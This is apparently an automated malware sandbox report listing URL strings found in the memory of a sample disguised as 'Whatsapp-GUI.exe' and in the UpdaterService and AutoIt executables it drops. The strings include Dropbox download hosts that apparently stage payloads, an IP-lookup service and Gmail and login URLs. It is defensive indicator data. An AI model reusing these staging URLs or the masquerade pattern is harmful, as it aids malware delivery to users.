Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002C2C000.00000004.00000800.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1832205253.0000000005091000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834387341.0000000004FB6000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1831730569.0000000005093000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe.0.dr, Autoit3.exe.2.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002C2C000.00000004.00000800.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1832205253.0000000005091000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834387341.0000000004FB6000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1831730569.0000000005093000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe.0.dr, Autoit3.exe.2.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Whatsapp-GUI.exe	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0&
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002C2C000.00000004.00000800.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1832205253.0000000005091000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834387341.0000000004FB6000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1831730569.0000000005093000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe.0.dr, Autoit3.exe.2.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Whatsapp-GUI.exe	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002C2C000.00000004.00000800.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1832205253.0000000005091000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834387341.0000000004FB6000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1831730569.0000000005093000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe.0.dr, Autoit3.exe.2.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edge-block-www-env.dropbox-dns.com
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edge-block-www-env.dropbox-dns.comd
Source: UpdaterService.exe, UpdaterService.exe, 00000002.00000003.1833815328.0000000005688000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834283511.0000000005320000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4180519040.0000000004871000.00000040.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4183663536.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4180372722.0000000004770000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4179218792.00000000046B4000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, Autoit3.exe, 00000009.00000002.1965692690.00000000039A4000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 00000009.00000002.1965977037.0000000003A60000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Autoit3.exe, 0000000A.00000002.2042458426.0000000003DE0000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 0000000A.00000002.2042117134.0000000003D24000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 0000000A.00000002.2042583535.0000000003EE1000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io/ip
Source: UpdaterService.exe, 00000002.00000003.1833815328.0000000005688000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834283511.0000000005320000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4180519040.0000000004871000.00000040.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4183663536.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4180372722.0000000004770000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4179218792.00000000046B4000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 00000009.00000002.1965692690.00000000039A4000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 00000009.00000002.1965977037.0000000003A60000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Autoit3.exe, 0000000A.00000002.2042458426.0000000003DE0000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 0000000A.00000002.2042117134.0000000003D24000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 0000000A.00000002.2042583535.0000000003EE1000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io/ipU
Source: Whatsapp-GUI.exe	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: Whatsapp-GUI.exe	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: Whatsapp-GUI.exe	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002C2C000.00000004.00000800.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1832205253.0000000005091000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834387341.0000000004FB6000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1831730569.0000000005093000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe.0.dr, Autoit3.exe.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002C2C000.00000004.00000800.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1832205253.0000000005091000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834387341.0000000004FB6000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1831730569.0000000005093000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe.0.dr, Autoit3.exe.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002C2C000.00000004.00000800.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1832205253.0000000005091000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834387341.0000000004FB6000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1831730569.0000000005093000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe.0.dr, Autoit3.exe.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Whatsapp-GUI.exe	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Whatsapp-GUI.exe	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002C2C000.00000004.00000800.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1832205253.0000000005091000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834387341.0000000004FB6000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1831730569.0000000005093000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe.0.dr, Autoit3.exe.2.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Whatsapp-GUI.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002C2C000.00000004.00000800.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1832205253.0000000005091000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834387341.0000000004FB6000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1831730569.0000000005093000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe.0.dr, Autoit3.exe.2.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: Whatsapp-GUI.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.com
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.comd
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www-env.dropbox-dns.com
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www-env.dropbox-dns.comd
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Whatsapp-GUI.exe, 00000000.00000002.1821852634.0000000008A5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/PW
Source: UpdaterService.exe, 00000002.00000003.1832205253.0000000005091000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834387341.0000000004FB6000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000000.1789844596.00000000000F9000.00000002.00000001.01000000.0000000C.sdmp, UpdaterService.exe, 00000002.00000003.1831730569.0000000005093000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 00000009.00000000.1935094636.0000000000909000.00000002.00000001.01000000.0000000F.sdmp, Autoit3.exe, 0000000A.00000000.2015835231.0000000000909000.00000002.00000001.01000000.0000000F.sdmp, Autoit3.exe.0.dr, Autoit3.exe.2.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.dropbox.com
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.dropbox.comd
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Whatsapp-GUI.exe, 00000000.00000002.1820861938.0000000006C82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://a.sprig.com/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/gsi/client
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.login.yahoo.com/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellofax.com/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellosign.com/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://canny.io/sdk.js
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cfl.dropboxstatic.com/static/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl-web.dropbox.com/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/fsip/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/fsip/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/fsip/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/document/fsip/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/presentation/fsip/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/spreadsheets/fsip/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docsend.com/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://experience.dropbox.com/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.dropbox.com/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://instructorledlearning.dropboxbusiness.com/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.yahoo.com/
Source: Autoit3.exe, 0000000A.00000002.2042583535.0000000003EE1000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/u/0/#inbox
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://navi.dropbox.jp/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps-df.live.com
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps.live.com
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/picker
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pal-test.adyen.com
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/cloud-docs/edit
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.dropbox.com/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sales.dropboxbusiness.com/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://selfguidedlearning.dropboxbusiness.com/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://showcase.dropbox.com/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.com
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.com/cd/0/get/CgSMY3b56y38dKz7xmmwct_VeYaR
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002C2C000.00000004.00000800.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1832205253.0000000005091000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834387341.0000000004FB6000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1831730569.0000000005093000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe.0.dr, Autoit3.exe.2.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
